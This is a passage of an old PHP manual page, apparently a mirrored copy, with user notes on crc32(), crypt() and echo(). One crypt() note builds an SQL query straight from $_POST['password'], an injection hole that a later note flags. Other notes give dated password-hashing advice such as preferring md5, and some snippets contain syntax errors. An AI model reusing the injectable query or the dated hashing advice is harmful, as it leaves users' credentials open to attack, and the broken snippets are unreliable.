A faster way I've found to return CRC values of larger files, is instead of using the file()/implode() method used below, is to us file_get_contents() (PHP 4 >= 4.3.0) which uses memory mapping techniques if supported by your OS to enhance performance. Here's my example function:

<?
// $file is the path to the file you want to check.
function file_crc($file)
{
   $file_string = file_get_contents($file);

   $crc = crc32($file_string);

   return sprintf("%u", $crc);
}

$file_to_crc = /home/path/to/file.jpg;

echo file_crc($file_to_crc); // Outputs CRC value for given file.
?>

I've found in testing this method is MUCH faster for larger binary files.
schmeic-php at lovo dot org
08-Jul-2005 04:26
I think that Mario's (spectrumizer at cycos dot net) CRC16 algorithm might be wrong.  At least according to these two online calculators:

http://www.zorc.breitbandkatze.de/crc.html
http://www.lammertbies.nl/comm/info/crc-calculation.html

  However, it seems that there can be some confusion concerning "official" CRC16 algorithms.  See this article for two possible CRC16-CCITT algorithms:

http://www.joegeluso.com/software/articles/ccitt.htm

  Here is a php implementation of the "bad" CRC16-CCITT algorithm from the article.  The "bad" implementation might not match the "official" algorithm, but is widely used, including by the two crc calculators mentioned above.

  Note that crc16-CCITT is also referred to as crc16c.

<?php

// this function is used to calculate the (common) crc16c for an entire buffer
function calculate_common_crc16c($buffer)
{
   $crc16c = 0xffff;  // the crc initial value

   $buffer_length = strlen($buffer);

   for ($i = 0; $i < $buffer_length; $i++)
   {
       $ch = ord($buffer[$i]);

       $crc16c = update_common_crc16c($ch, $crc16c);
   }

   return $crc16c;
}

// this function is used to calculate the (common) crc16c byte by byte
// $ch is the next byte and $crc16c is the result from the last call, or 0xffff initially
function update_common_crc16c($ch, $crc16c)
{
   global $crc16c_polynomial;

   // This comment was in the code from
   // http://www.joegeluso.com/software/articles/ccitt.htm

   // Why are they shifting this byte left by 8 bits??
   // How do the low bits of the poly ever see it?
   $ch <<= 8;

   for($i = 0; $i < 8; $i++)
   {
       if (($crc16c ^ $ch) & 0x8000)
       {
           $xor_flag = true;
       }
       else
       {
           $xor_flag = false;
       }

       $crc16c = $crc16c << 1;

       if ($xor_flag)
       {
           $crc16c = $crc16c ^ $crc16c_polynomial;
       }

       $ch = $ch << 1;
   }

   // mask off (zero out) the upper two bytes
   $crc16c = $crc16c & 0x0000ffff;

   return $crc16c;
}

?>
Johan
13-May-2005 06:12
Here is a php version of the Java String hashCode:
( produced for: http://openmusic.op.funpic.org/catalog/ )

/**
 * Calculate hash code for a string computed as
 * s[0]*31^(n-1) + s[1]*31^(n-2) + ... + s[n-1]
 * Equal to java.lang.String.hashCode()
 *
 * Returns an integer.
 */
function toID($link) {
   $link = (string)$link;
   $len = strLen($link);
   $sum = 0;
   for ($i = 0; $i < $len; $i++) {
       $sum = (int)(31 * $sum + getASCIICode($link[$i]));
       // echo($sum . "<br>");
   }

   return ((int)$sum);
}

// get char as int, - see example codes at intval on the subject.
function getASCIICode($caracter) {
// ...
}
gribber (_at) hellburner (dot_) net
19-May-2004 05:41
A little correction to the sfv checksum code above, this was confuseing me for a while, heading zeros was striped away.

<?php
function sfv_checksum ($filename) {
   return str_pad (strtoupper (dechex (crc32 (file_get_contents ($filename)))), 8, '0', STR_PAD_LEFT);
}
?>
waldomonster at netjukebox dot demon dot nl
23-Apr-2004 11:48
<?php
$data = 'dot';
echo dechex(crc32($data));
?>

Returns 59278a3
Witch is missing a leading zero.

<?php
$data = 'dot';
echo str_pad(dechex(crc32($data)), 8, '0', STR_PAD_LEFT);
?>

Returns the correct string: 059278a3
arachnid at notdot dot net
14-Apr-2004 11:44
Note that the CRC32 algorithm should NOT be used for cryptographic purposes, or in situations where a hostile/untrusted user is involved, as it is far too easy to generate a hash collision for CRC32 (two different binary strings that have the same CRC32 hash). Instead consider SHA-1 or MD5.
same
02-Feb-2004 09:27
bit by bit crc32 computation

<?php

function bitbybit_crc32($str,$first_call=false){

   //reflection in 32 bits of crc32 polynomial 0x04C11DB7
   $poly_reflected=0xEDB88320;

   //=0xFFFFFFFF; //keep track of register value after each call
   static $reg=0xFFFFFFFF;

   //initialize register on first call
   if($first_call) $reg=0xFFFFFFFF;

   $n=strlen($str);
   $zeros=$n<4 ? $n : 4;

   //xor first $zeros=min(4,strlen($str)) bytes into the register
   for($i=0;$i<$zeros;$i++)
       $reg^=ord($str{$i})<<$i*8;

   //now for the rest of the string
   for($i=4;$i<$n;$i++){
       $next_char=ord($str{$i});
       for($j=0;$j<8;$j++)
           $reg=(($reg>>1&0x7FFFFFFF)|($next_char>>$j&1)<<0x1F)
               ^($reg&1)*$poly_reflected;
   }

   //put in enough zeros at the end
   for($i=0;$i<$zeros*8;$i++)
       $reg=($reg>>1&0x7FFFFFFF)^($reg&1)*$poly_reflected;

   //xor the register with 0xFFFFFFFF
   return ~$reg;
}

$str="123456789"; //whatever
$blocksize=4; //whatever

for($i=0;$i<strlen($str);$i+=$blocksize) $crc=bitbybit_crc32(substr($str,$i,$blocksize),!$i);

?>
sandeep_k_ghosh at hotmail dot com
16-Oct-2003 01:08
This function returns the unsigned crc32 value. I realized it's not very obvious from the current documentation.

<?php
/**
 * Function to compute the unsigned crc32 value.
 * PHP crc32 function returns int which is signed, so in order to get the correct crc32 value
 * we need to convert it to unsigned value.
 *
 * @param $str - String to compute the unsigned crc32 value.
 * @return $var - Unsinged inter value.
 */
function computeUnsignedCRC32($str){
   sscanf(crc32($str), "%u", $var);
   return $var;
}
?>
xethmir at yournextclient dot com
17-Jul-2003 10:12
This is a really simple way of displaying the crc-32 hexadecimal code/checksum for a file... (absolute paths are more reliable)

<?
$file = "http://foo.net/bar.jpg";

// Read the file into an array
$data = file($file);

// Join the array into a string
$data = implode('', $data);

// Calculate the crc
$crc = crc32($data);

//convert from decimal to hexadecimal
$crchex=DecHex($crc*1);

//echo the result
echo "$crchex";
?>
sergi34 at megacceso dot com
10-Jun-2003 06:27
If you want to display a crc checksum correctly, you need to format it to unsigned because PHP int type is signed.

example:

<?php
$crc= crc32("String where we calculate the checksum");
printf("%u", $crc);
?>
quix at free dot fr
06-May-2003 04:19
I needed the crc32 of a file that was pretty large, so I didn't want to read it into memory.
So I made this:

<?php
   $GLOBALS['__crc32_table']=array();        // Lookup table array
   __crc32_init_table();

   function __crc32_init_table() {            // Builds lookup table array
       // This is the official polynomial used by
       // CRC-32 in PKZip, WinZip and Ethernet.
       $polynomial = 0x04c11db7;

       // 256 values representing ASCII character codes.
       for($i=0;$i <= 0xFF;++$i) {
           $GLOBALS['__crc32_table'][$i]=(__crc32_reflect($i,8) << 24);
           for($j=0;$j < 8;++$j) {
               $GLOBALS['__crc32_table'][$i]=(($GLOBALS['__crc32_table'][$i] << 1) ^
                   (($GLOBALS['__crc32_table'][$i] & (1 << 31))?$polynomial:0));
           }
           $GLOBALS['__crc32_table'][$i] = __crc32_reflect($GLOBALS['__crc32_table'][$i], 32);
       }
   }

   function __crc32_reflect($ref, $ch) {        // Reflects CRC bits in the lookup table
       $value=0;

       // Swap bit 0 for bit 7, bit 1 for bit 6, etc.
       for($i=1;$i<($ch+1);++$i) {
           if($ref & 1) $value |= (1 << ($ch-$i));
           $ref = (($ref >> 1) & 0x7fffffff);
       }
       return $value;
   }

   function __crc32_string($text) {        // Creates a CRC from a text string
       // Once the lookup table has been filled in by the two functions above,
       // this function creates all CRCs using only the lookup table.

       // You need unsigned variables because negative values
       // introduce high bits where zero bits are required.
       // PHP doesn't have unsigned integers:
       // I've solved this problem by doing a '&' after a '>>'.

       // Start out with all bits set high.
       $crc=0xffffffff;
       $len=strlen($text);

       // Perform the algorithm on each character in the string,
       // using the lookup table values.
       for($i=0;$i < $len;++$i) {
           $crc=(($crc >> 8) & 0x00ffffff) ^ $GLOBALS['__crc32_table'][($crc & 0xFF) ^ ord($text{$i})];
       }

       // Exclusive OR the result with the beginning value.
       return $crc ^ 0xffffffff;
   }

   function __crc32_file($name) {            // Creates a CRC from a file
       // Info: look at __crc32_string

       // Start out with all bits set high.
       $crc=0xffffffff;

       if(($fp=fopen($name,'rb'))===false) return false;

       // Perform the algorithm on each character in file
       for(;;) {
           $i=@fread($fp,1);
           if(strlen($i)==0) break;
           $crc=(($crc >> 8) & 0x00ffffff) ^ $GLOBALS['__crc32_table'][($crc & 0xFF) ^ ord($i)];
       }

       @fclose($fp);

       // Exclusive OR the result with the beginning value.
       return $crc ^ 0xffffffff;
   }
?>
lander at liebe dot nu
21-Apr-2003 10:22
A simple and quite fast (10ms/Mb) way to generate checksums used with the popular SFV (Simple File Verification) format. strtoupper() isn't really needed, but the output looks better this way ;)

<?php
function generate_sfv_checksum($filename) {
$sfv_checksum = strtoupper(dechex(crc32(file_get_contents($filename))));
return $sfv_checksum;
}
?>
spectrumizer at cycos dot net
30-Dec-2002 07:30
Here is a tested and working CRC16-Algorithm:

<?php
function crc16($string) {
  $crc = 0xFFFF;
  for ($x = 0; $x < strlen ($string); $x++) {
   $crc = $crc ^ ord($string[$x]);
   for ($y = 0; $y < 8; $y++) {
     if (($crc & 0x0001) == 0x0001) {
       $crc = (($crc >> 1) ^ 0xA001);
     } else { $crc = $crc >> 1; }
   }
  }
  return $crc;
}
?>

Regards,
Mario
add a note add a note

后退 | 起点 | 前进
count_chars | 上一级 | crypt


crypt

(PHP 3, PHP 4, PHP 5)

crypt -- One-way string encryption (hashing)

Description

string crypt ( string str [, string salt] )

crypt() will return an encrypted string using the standard Unix DES-based encryption algorithm or alternative algorithms that may be available on the system. Arguments are a string to be encrypted and an optional salt string to base the encryption on. See the Unix man page for your crypt function for more information.

If the salt argument is not provided, one will be randomly generated by PHP each time you call this function.

Some operating systems support more than one type of encryption. In fact, sometimes the standard DES-based encryption is replaced by an MD5-based encryption algorithm. The encryption type is triggered by the salt argument. At install time, PHP determines the capabilities of the crypt function and will accept salts for other encryption types. If no salt is provided, PHP will auto-generate a standard two character salt by default, unless the default encryption type on the system is MD5, in which case a random MD5-compatible salt is generated. PHP sets a constant named CRYPT_SALT_LENGTH which tells you whether a regular two character salt applies to your system or the longer twelve character salt is applicable.

If you are using the supplied salt, you should be aware that the salt is generated once. If you are calling this function repeatedly, this may impact both appearance and security.

The standard DES-based encryption crypt() returns the salt as the first two characters of the output. It also only uses the first eight characters of str, so longer strings that start with the same eight characters will generate the same result (when the same salt is used).

On systems where the crypt() function supports multiple encryption types, the following constants are set to 0 or 1 depending on whether the given type is available:

  • CRYPT_STD_DES - Standard DES-based encryption with a two character salt

  • CRYPT_EXT_DES - Extended DES-based encryption with a nine character salt

  • CRYPT_MD5 - MD5 encryption with a twelve character salt starting with $1$

  • CRYPT_BLOWFISH - Blowfish encryption with a sixteen character salt starting with $2$ or $2a$

注: There is no decrypt function, since crypt() uses a one-way algorithm.

例子 1. crypt() examples

<?php
$password = crypt('mypassword'); // let the salt be automatically generated

/* You should pass the entire results of crypt() as the salt for comparing a
   password, to avoid problems when different hashing algorithms are used. (As
   it says above, standard DES-based password hashing uses a 2-character salt,
   but MD5-based hashing uses 12.) */
if (crypt($user_input, $password) == $password) {
   echo "Password verified!";
}
?>

例子 2. Using crypt() with htpasswd

<?php
// Set the password
$password = 'mypassword';

// Get the hash, letting the salt be automatically generated
$hash = crypt($password);
?>

例子 3. Using crypt() with different encryption types

<?php
if (CRYPT_STD_DES == 1) {
    echo 'Standard DES: ' . crypt('rasmuslerdorf', 'rl') . "\n";
}

if (CRYPT_EXT_DES == 1) {
    echo 'Extended DES: ' . crypt('rasmuslerdorf', '_J9..rasm') . "\n";
}

if (CRYPT_MD5 == 1) {
    echo 'MD5:          ' . crypt('rasmuslerdorf', '$1$rasmusle$') . "\n";
}

if (CRYPT_BLOWFISH == 1) {
    echo 'Blowfish:     ' . crypt('rasmuslerdorf', '$2a$07$rasmuslerd...........$') . "\n";
}
?>

上例的输出类似于：

Standard DES: rl.3StKT.4T8M
Extended DES: _J9..rasmBYk8r9AiWNc
MD5:          $1$rasmusle$rISCgZzpwk3UhDidwXvin0
Blowfish:     $2a$07$rasmuslerd............nIdrcHdxcUxWomQX9j6kvERCFjTg7Ra

See also md5() and the Mcrypt extension.

add a note add a note User Contributed Notes
solar at openwall dot com
24-Dec-2005 03:20
With different password hashing methods supported on different systems and with the need to generate salts with your own PHP code in order to use the more advanced / more secure methods, it takes special knowledge to use crypt() optimally, producing strong password hashes.  Other message digest / hashing functions supported by PHP, such as md5() and sha1(), are really no good for password hashing if used naively, resulting in hashes which may be brute-forced at rates much higher than those possible for hashes produced by crypt().

I have implemented a PHP password hashing framework (in PHP, tested with all of PHP 3, 4, and 5) which hides the complexity from your PHP applications (no need for you to worry about salts, etc.), yet does things in almost the best way possible given the constraints of the available functions.  The homepage for the framework is:

http://www.openwall.com/phpass/

I have placed this code in the public domain, so there are no copyrights or licensing restrictions to worry about.

P.S. I have 10 years of experience in password (in)security and I've developed several other password security tools and libraries.  So most people can feel confident they're getting this done better by using my framework than they could have done it on their own.
hotdog (at) gmx (dot) net
16-Nov-2005 11:34
WRONG:

$mypassword = "toto";
$smd5_pass = "{SMD5}......." // in openldap

if (preg_match ("/{SMD5}/i", $smd5_pass))
 {
  $encrypted = substr($md5_pass, 6);
  $hash = base64_decode($encrypted);
  $salt = substr($hash,16);
  $mhashed =  mhash(MHASH_MD5, $mypassword . $salt) ;
  $without_salt = explode($salt,$hash_hex);
   if ($without_salt[0] == $mhashed) {
   echo "Password verified <br>";
   } else {
   echo "Password Not verified<br>";
   }
 }

$without_salt = explode($salt,$hash_hex); should be $without_salt = explode($salt,$hash);

RIGHT:

$mypassword = "toto";
$smd5_pass = "{SMD5}......." // in openldap

if (preg_match ("/{SMD5}/i", $smd5_pass))
 {
  $encrypted = substr($md5_pass, 6);
  $hash = base64_decode($encrypted);
  $salt = substr($hash,16);
  $mhashed =  mhash(MHASH_MD5, $mypassword . $salt) ;
  $without_salt = explode($salt,$hash);
   if ($without_salt[0] == $mhashed) {
   echo "Password verified <br>";
   } else {
   echo "Password Not verified<br>";
   }
 }
bjorninges dot spam at gmail dot com
07-Nov-2005 06:16
Note to topace's code: you should not use $_POST['password'] directly in your query as you are open to sql-injects.
Use the quote_smart() function from http://no.php.net/mysql_real_escape_string before adding user-submitted data to the query
topace at lightbox dot org
23-Sep-2005 12:34
To authenticate against a stored crypt in MySQL, simply use:

SELECT ................
           AND Password=ENCRYPT('".$_POST['password']."',Password)
MagicalTux at FF dot st
15-Jun-2005 03:53
Since many of you are wondering why when providing salt the characters over the 8th are ignored in the password, I'll clarify it a bit.

By default, PHP will try to use the best encryption method available on your system : MD5 or Simple DES.
Usually this is the MD5 method ($1$).
In this case, the salt must look like : "$1$xxxxxxxx$" where x are random ASCII characters. When you use MD5 passwords, all characters of the password are encrypted in this 34 characters hash.

However if your salt starts with an ASCII character, the system will assume it's a standard DES encrypted password. The main weakness of this system : only the 8 first characters of the password are used.

A correct version of the code :

<?php
function makesalt($type=CRYPT_SALT_LENGTH) {
  switch($type) {
   case 8:
     $saltlen=9; $saltprefix='$1$'; $saltsuffix='$'; break;
   case 2:
   default: // by default, fall back on Standard DES (should work everywhere)
     $saltlen=2; $saltprefix=''; $saltsuffix=''; break;
   #
  }
  $salt='';
  while(strlen($salt)<$saltlen) $salt.=chr(rand(64,126));
  return $saltprefix.$salt.$saltsuffix;
}

$salt=makesalt();
$longpassword='fez1c89ez1c98ez4c89z4eqf98ez';

$encrypted = crypt($longpassword, $salt);

$encrypted2 = crypt(substr($longpassword, 0, 8), $encrypted);

if ($encrypted == $encrypted2) {
  echo 'Match: Weak encryption method (Standard DES)';
} else {
  echo 'NoMatch: Strong encryption method (MD5)';
}
?>

If you use makesalt(2) you will force usage of Standard DES method, and the passwords will match. If you just use makesalt() there's great chances you'll have a MD5 password (don't know any system used nowadays which does not support MD5 passwords).

Finally, do not look at md5() PHP function if you want a md5 password, that's not related. UNIX MD5 passwords uses a salt, are 34 character long and start with $1$. The reply from md5() is 32 characters long, and is more adapted for file integrity check (call that a checksum).

Some people use sha1() passwords but without salt. Here's my simple sha1crypt function which will work with standard crypt passwords (by calling crypt()) AND a home-made "sha1" encryption method.

<?php
// NOTE: This function requires PHP 5.0.0 as we use "raw output" option of sha1()
function sha1crypt($password, $salt=null) {
  if ( (is_null($salt)) || (strlen($salt)<1) ) {
   $salt='';
   while(strlen($salt)<10) $salt.=chr(rand(64,126));
   $salt='$sha1$'.$salt.'$';
  }
  if ($salt{0}!='$') return crypt($password, $salt);
  $tmp=explode('$',$salt);
  if ($tmp[1]!='sha1') return crypt($password, $salt);
  $saltstr=$tmp[2];
  if (strlen($saltstr) != 10) return crypt($password, $salt);
  $encrypt=base64_encode(sha1($saltstr.$password,true));
  return '$sha1$'.$saltstr.'$'.$encrypt;
}

// without salt, sha1crypt() will generate on
$pass=sha1crypt('foobar');
echo $pass."\n";

// pass directly password as salt - different output as password is not the same
echo sha1crypt('foobarbaz',$pass)."\n";

// same password - same output
echo sha1crypt('foobar',$pass)."\n";

// Encrypt using MD5 passwords
echo sha1crypt('foobar','$1$blahblahg$')."\n";
?>

will output:
$sha1$oFkYeI|vuu$d3n7D30OnecZSbS6KIbxCch608A=
$sha1$oFkYeI|vuu$iA8KmbCZun1G1gEw2qVr42ELVH4=
$sha1$oFkYeI|vuu$d3n7D30OnecZSbS6KIbxCch608A=
$1$blahblah$/8Hme91aEkHzLaVk0g9EQ0

My sha1-encrypted passwords are 45 characters long.

Remember to read that too before using SHA1 passwords too :
http://www.schneier.com/blog/archives/2005/02/sha1_broken.html
ceo at l-i-e dot com
07-Jun-2005 09:03
The people confused about the first 2 characters of the plain-text password being used as the salt are... confused.

AFTER you crypt() your plain-text password, with 2 RANDOM characters, the RESULTING scrambled output with have the 2 randomly-selected characters as its first 2 characters.

Later, to check a password presented by the user, you use the first 2 characters of the SCRAMBLED password as the salt.

So you do not need to remember the salt elsewhere -- it is buried in the encrypted output.

This is by design by very very very clever cryptologists, and in no way, shape, or form decreases the "security" of the algorithm.

The same is true of all the encryption algorithms here -- The salt may be 27 characters long, and embedded in the middle of the crypted string, but it's still there, and that's Good.

I hope this note decreases the confusion caused by the 2 early notes discussing salt.
Vlad Alexa Mancini mancin at nextcode dot org
16-May-2005 04:57
cleaner version of shadow() and with more ascii chars

<?php

function shadow ($input){
         for ($n = 0; $n < 9; $n++){
             $s .= chr(rand(64,126));
         }
         $seed =  "$1$".$s."$";
         $return = crypt($input,$seed);
   return $return;
}

>
kevin at sylandroXgetridofthisbitX dot com
20-Apr-2005 03:55
Even worse, using the first two letters of the password as the salt removes the whole point of having salt in the first place, which is that without it, it's trivial to create a dictionary of passwords-to-encrypted-passwords.  Without salt (or with using a salt directly derived from the password) there's only one possible encrypted password per password.  With the two character salt, there's 4096, which makes the idea a lot less feasible.
19-Apr-2005 04:57
>icecube at fr dot fm 07-Mar-2002 09:53
>To generate a .htaccess-based authentication with DES,
>you have to use the first two characters of your password
>as salt.

This is a _really_ bad idea, seeing how the two first letters of your password will be reveiled, effectively reducing the quality of your password.

Your example assigns "sonH/h2hpGtHk" to $ht_pass, where "so" of course are the first to letters in something. Try it out for yourself. Switching the password to "icecube" gives "ickJ.ZxzjXpNE" as the output. Get my point?

The salt is always included in the encrypted string. Use a random salt instead.
postal2600 at yahoo dot com
16-Mar-2005 06:07
I'll take the example from above and take a situation that I've ecountered and show you something that puts this function in a dark shadow of insecurity:

<?php
$password = crypt('postal2600','CyberBoard');

if (crypt('postal26??', $password) == $password) {
   echo "Password verified!";
}
?>

Instad of ?? you can put anything an see that allway the password will be verified. So i strongly recomand that the md5 function should be used instead.
kb at -NOSPAM-diggersdive dot info
31-Dec-2004 12:18
It is likely that the php version of crypt() interfaces relatively directly with the C-library crypt() function, usually contained in libcrypt.

Depending on your implementation and the default salt, you may or may not get the same crypt'd password out of eight characters as you would a longer string starting with those same eight characters.

See crypt(3) on your system for more documentation on how it works based on different encryption types.
genius at clan-aftershock dot com
29-Nov-2004 09:10
I discovered in the script stated before, when using a salt string the passwords length cannot be longer than 8 characters. However, when not using a salt string, it can exceded that limit.

Modified Example from athony, not using the salt.

<?php
$password = "qwertyuiopasdfghjkl";

// Not using any salts

$encrypted = crypt($password);

// Now do the comparison

$shortPass = substr($password, 0, 8);

if (crypt( $shortPass,  $encrypted ) == $encrypted )
   echo "The passwords match";
else
   echo "The passwords do not match";
?>

This will print: "The passwords do not match"

The check for password would still work if it was correct. Just by shortening the password string to eight, or extending the substr, or decalring the shortpass the same as the pass, it would be: "The passwords do match"

So the eight letter limit only works when using a salt.
antony at anonymous dot anon dot com
27-Nov-2004 12:21
There appears to be a limitation with this function, where it only validates upto a characters, therefore the 9th character onwards can be ommitted, which limits useful passwords to 8 characters only. Example

<?php
$password = "qwertyuiopasdfghjkl";

// Encrypt the password, but let's use a known MD5 hash as the salt

$salt = ""0f2d92cee71e5f93f3abecdc666a6b7d";
$salt = substr($salt, 0, CRYPT_SALT_LENGTH );

$encrypted = crypt($password, $salt);

// Now do the comparison

$shortPass = substr($password, 0, 8);

if (crypt( $shortPass,  $encrypted ) == $encrypted )
   echo "The passwords match";
else
   echo "The passwords do not match";
?>

This will print: "The passwords match" even though $shortPass is "qwertyui" and $password is "qwertyuiopasdfghjkl"
thorhajo at gmail dot com
03-Sep-2004 06:34
Here's a little function I wrote to generate MD5 password hashes in the format they're found in /etc/shadow:

function shadow($password)
{
  $hash = '';
  for($i=0;$i<8;$i++)
  {
   $j = mt_rand(0,53);
   if($j<26)$hash .= chr(rand(65,90));
   else if($j<52)$hash .= chr(rand(97,122));
   else if($j<53)$hash .= '.';
   else $hash .= '/';
  }
  return crypt($password,'$1$'.$hash.'$');
}

I've written this so that each character in the a-zA-Z./ set has a 1/54 of a chance of being selected (26 + 26 + 2 = 54), thus being statistically even.
aidan at php dot net
05-Jul-2004 10:52
Text_Password allows one to create pronounceable and unpronounceable passwords.

http://pear.php.net/package/text_password
php at SPAM_tlarson dot com
26-Jun-2002 01:17
There's always been a bit of confusion as to what makes a good salt and what doesn't.  Remember that it doesn't matter at all how easy a salt is to guess. No one ever HAS to guess the salt: it's already given.

The only only important consideration when generating a salt is to make sure that all salts are unique--that way the same password will be encrypted differently (i.e. the encrypted passwords will look different) for different users.

One of the simplest ways to generate a unique salt is to use some string that will be different every time the procedure is called.  Here's a simple example:

<?php
$jumble = md5(time() . getmypid());
$salt = substr($jumble,0,$salt_length);
?>

Given a string consisting of the current time (in seconds) concatinated with the current process id, the string will never be the same twice, assuming that the function is never called more than once per second.  Calculating the md5 sum over that string creates another string from which you can extract any substring and still end up with a unique sequence.

If you're going to be generating more than one password per second, just throw a rand($x,$y) in there to add a little more entropy.
add a note add a note

后退 | 起点 | 前进
crc32 | 上一级 | echo


echo

(PHP 3, PHP 4, PHP 5)

echo -- Output one or more strings

Description

void echo ( string arg1 [, string ...] )

Outputs all parameters.

echo() is not actually a function (it is a language construct), so you are not required to use parentheses with it. echo() (unlike some other language constructs) does not behave like a function, so it cannot always be used in the context of a function. Additionally, if you want to pass more than one parameter to echo(), the parameters must not be enclosed within parentheses.

例子 1. echo() examples

<?php
echo "Hello World";

echo "This spans
multiple lines. The newlines will be
output as well";

echo "This spans\nmultiple lines. The newlines will be\noutput as well.";

echo "Escaping characters is done \"Like this\".";

// You can use variables inside of an echo statement
$foo = "foobar";
$bar = "barbaz";

echo "foo is $foo"; // foo is foobar

// You can also use arrays
$bar = array("value" => "foo");

echo "this is {$bar['value']} !"; // this is foo !

// Using single quotes will print the variable name, not the value
echo 'foo is $foo'; // foo is $foo

// If you are not using any other characters, you can just echo variables
echo $foo;          // foobar
echo $foo,$bar;     // foobarbarbaz

// Some people prefer passing multiple parameters to echo over concatenation.
echo 'This ', 'string ', 'was ', 'made ', 'with multiple parameters.', chr(10);
echo 'This ' . 'string ' . 'was ' . 'made ' . 'with concatenation.' . "\n";

echo <<<END
This uses the "here document" syntax to output
multiple lines with $variable interpolation. Note
that the here document terminator must appear on a
line with just a semicolon. no extra whitespace!
END;

// Because echo does not behave like a function, the following code is invalid.
($some_var) ? echo 'true' : echo 'false';

// However, the following examples will work:
($some_var) ? print 'true' : print 'false'; // print is also a construct, but
                                            // it behaves like a function, so
                                            // it may be used in this context.
echo $some_var ? 'true': 'false'; // changing the statement around
?>

echo() also has a shortcut syntax, where you can immediately follow the opening tag with an equals sign. This short syntax only works with the short_open_tag configuration setting enabled.

I have <?=$foo?> foo.

For a short discussion about the differences between print() and echo(), see this FAQTs Knowledge Base Article: http://www.faqts.com/knowledge_base/view.phtml/aid/1/fid/40

注: 由于这是一个语言结构而非函数，因此它无法被变量函数调用。

See also
print(),
printf(), and
flush().

add a note add a note User Contributed Notes
phpnet at i3x171um dot com
21-May-2006 10:39
I have written a script to benchmark the several methods of outputting data in PHP: via single quotes, double quotes, heredoc, and printf. The script constructs a paragraph of text with each method. It performs this construction 10,000 times, then records how long it took. In total, it prints 160,000 times and records 16 timings. Here are the raw results.

Outputted straight to browser--

Single quotes: 2,813 ms
...with concatenation: 1,179 ms
Double quotes: 5,180 ms
...with concatenation: 3,937 ms
heredoc: 7,300 ms
...with concatenation: 6,288 ms
printf: 9,527 ms
...with concatenation: 8,564 ms

Outputted to the output buffer--

Single quotes: 8 ms
...with concatenation: 38 ms
Double quotes: 8 ms
...with concatenation: 47 ms
heredoc: 17 ms
...with concatenation: 49 ms
printf: 54 ms
...with concatenation: 52 ms

A nice graph of the script's output can be found here:
http://i3x171um.com/output_benchmarks/ob.gif

So what should you choose to print your text? I found several things out writing this.

First, it should be noted that the print and echo keywords are interchangeable, performance-wise. The timings show that one is probably an alias for the other. So use whichever you feel most comfortable with.

Second, if you've ever wondered which was better, the definitive answer is single quotes. Single quotes are at least four times faster in any situation. Double quotes, while more convenient, do pose a debatably significant performance issue when outputting massive amounts of data.

Third, stay away from heredoc, and absolutely stay away from [s]printf. They're slow, and the alternatives are there.

The source of my script can be found here:
http://i3x171um.com/output_benchmarks/ob.txt

DO NOT RUN THE SCRIPT ON THE INTERNET! Run it instead from localhost. The script outputs ~45 megabytes of text in an html comment at the top of the page by default. Expect the benchmark to take ~45 seconds. If this is too long, you can change the amount of iterations to a lower number (the results scale accurately down to about 1,000 iterations).
bennyhur at gmail dot com
02-Feb-2006 03:39
in response to:

"This is a beauty for lots of text, really.  And easy to read, if you're a PERL or shell person."

If you use an editor like Dreamweaver that can show you a somewhat rendered version of the page, you can output large blocks of text/html by doing the following:

<?php
if(boolean_function())
{
?>
  <p>You successfully made the boolean funciton return true</p>
   <p>blah blah blah....</p>
<?php
}
else
{
?>
  <p>Sorry, but you didnt make the boolean true!</p>
<?php
}
//more code...
?>

As opposed to using the "dochere" syntax. I find it's much easier to move around in large scripts when I output HTML like this because I can just click on the text near the code I need to edit in Dreamweavers display view, and then switch to code view and I'm right were I need to be.
rwruck
28-Jan-2006 05:15
It should be mentioned here that the script will be aborted if you output something in response to a HTTP HEAD request.
In the following example, the second line will NOT be written to the file. Any registered shutdown function will be called, though:

<?php
$hf = fopen('head.log', 'ab');
fwrite($hf, "before output\n");
echo "Test";
fwrite($hf, "after output\n");
fclose($hf);
?>

This is normal behaviour; see the description of $_SERVER.
the dot only dot storm at gmail dot com
07-Jan-2006 04:38
In reply to lorenpr at gmail dot com:
"I hope this ternary thing isn't overkill. Last thing - I would just like to make you aware of the side effect when you do this statement,

<?php
echo $some_var ? print 'true': print 'false';
?>

The result would be either 'true1' or 'false1', depending on whether $some_var is true or false respectively. This happens because of what I mentioned earlier. Figure it out."

The reason it prints the 1 because whether the variable is true or false, in this case, print will always return 1 (true)

Meaning this is the same thing:
<?php
echo print($some_var ? 'true' : 'false');
?>

print($some_var ? 'true' : 'false') = 1
So you echo 1, after the print takes place.
08-Oct-2005 04:09
This is a beauty for lots of text, really.  And easy to read, if you're a PERL or shell person.

echo <<<END
This uses the "here document" syntax to output
multiple lines with $variable interpolation. Note
that the here document terminator must appear on a
line with just a semicolon. no extra whitespace!
END;
lorenpr at gmail dot com
15-Sep-2005 12:12
I hope this ternary thing isn't overkill. Last thing - I would just like to make you aware of the side effect when you do this statement,

echo $some_var ? print 'true': print 'false';

The result would be either 'true1' or 'false1', depending on whether $some_var is true or false respectively. This happens because of what I mentioned earlier. Figure it out.
lorenpr at gmail dot com
15-Sep-2005 11:58
linus is correct.
The ternary relationship is evaluated first, then echo prints the result.

Also, keep in mind
(condition? a : b)
reads
if(condition) return a; else return b;

So what makes
A. echo ($somevar) ? 'true' : 'false';

different from

B. ($somevar) ? echo 'true' : echo 'false';

is the ternary relationship in A reads
if (condition) return 'true'; else return 'false';

while in B it reads
if(condition) return (echo 'true'); else return (echo 'false');

- an invalid statement, since echo evaluates to void.
linus.martensson a gmail
25-Aug-2005 05:03
Simple. it reads like echo (($somevar)?'true';'false'); and outputs the result, unless I'm mistaken.
shannonmoeller at gmail dot com
10-Aug-2005 07:31
In reply to lorenpr at gmail dot com:

If what you say is true, why does this work?

<?php
echo ($somevar) ? 'true' : 'false'; //works
?>
lorenpr at gmail dot com
29-Jul-2005 01:17
I just want to point out something to beginners. The documentation is misleading where it says:

// Because echo is not a function, following code is invalid.
($some_var) ? echo 'true' : echo 'false';

The code is invalid, but not because 'echo' is a language construct, but rather because 'echo' does not return a value.
So don't be mislead: the syntax used above is certainly not limited to functions.

You must keep in mind that the job of the ternary syntax used is not actually to display anything, but to test a boolean relationship. The 'print' statement would work because it always returns a 1, which in php, is interpreted to a boolean  'true'. Things that return 'void' cannot be expected to evaluate to a 'true' or 'false', and that is why using 'echo' in this particular case is invalid.
Jason Carlson - SiteSanity
17-May-2005 01:28
In response to Ryan's post with his echobig() function, using str_split wastes memory resources for what you are doing.

If all you want to do is echo smaller chunks of a large string, I found the following code to perform better and it will work in PHP versions 3+

<?php
function echobig($string, $bufferSize = 8192)
{
  // suggest doing a test for Integer & positive bufferSize
